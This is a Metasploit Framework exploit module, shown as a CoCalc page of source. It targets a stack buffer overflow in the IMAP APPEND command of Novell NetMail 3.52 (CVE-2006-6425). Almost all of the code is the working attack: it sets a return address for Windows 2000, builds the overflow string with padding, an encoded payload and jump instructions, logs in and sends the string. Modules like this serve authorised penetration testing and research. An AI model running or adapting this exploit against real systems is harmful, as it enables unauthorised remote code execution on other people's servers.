Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/imap/novell_netmail_append.rb
21627 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Imap
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Novell NetMail IMAP APPEND Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP APPEND
18
verb. By sending an overly long string, an attacker can overwrite the
19
buffer and control program execution.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2006-6425' ],
25
[ 'OSVDB', '31362' ],
26
[ 'BID', '21723' ],
27
[ 'ZDI', '06-054' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'thread',
32
},
33
'Payload' => {
34
'Space' => 700,
35
'BadChars' => "\x00\x0a\x0d\x20",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
41
],
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2006-12-23',
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
end
52
53
def exploit
54
sploit = "a002 APPEND " + "saved-messages (\Seen) "
55
sploit << rand_text_english(1358) + payload.encoded + "\xeb\x06"
56
sploit << rand_text_english(2) + [target.ret].pack('V')
57
sploit << [0xe9, -585].pack('CV') + rand_text_english(150)
58
59
info = connect_login
60
61
if (info == true)
62
print_status("Trying target #{target.name}...")
63
sock.put(sploit + "\r\n")
64
else
65
print_status("Not falling through with exploit")
66
end
67
68
handler
69
disconnect
70
end
71
end
72
73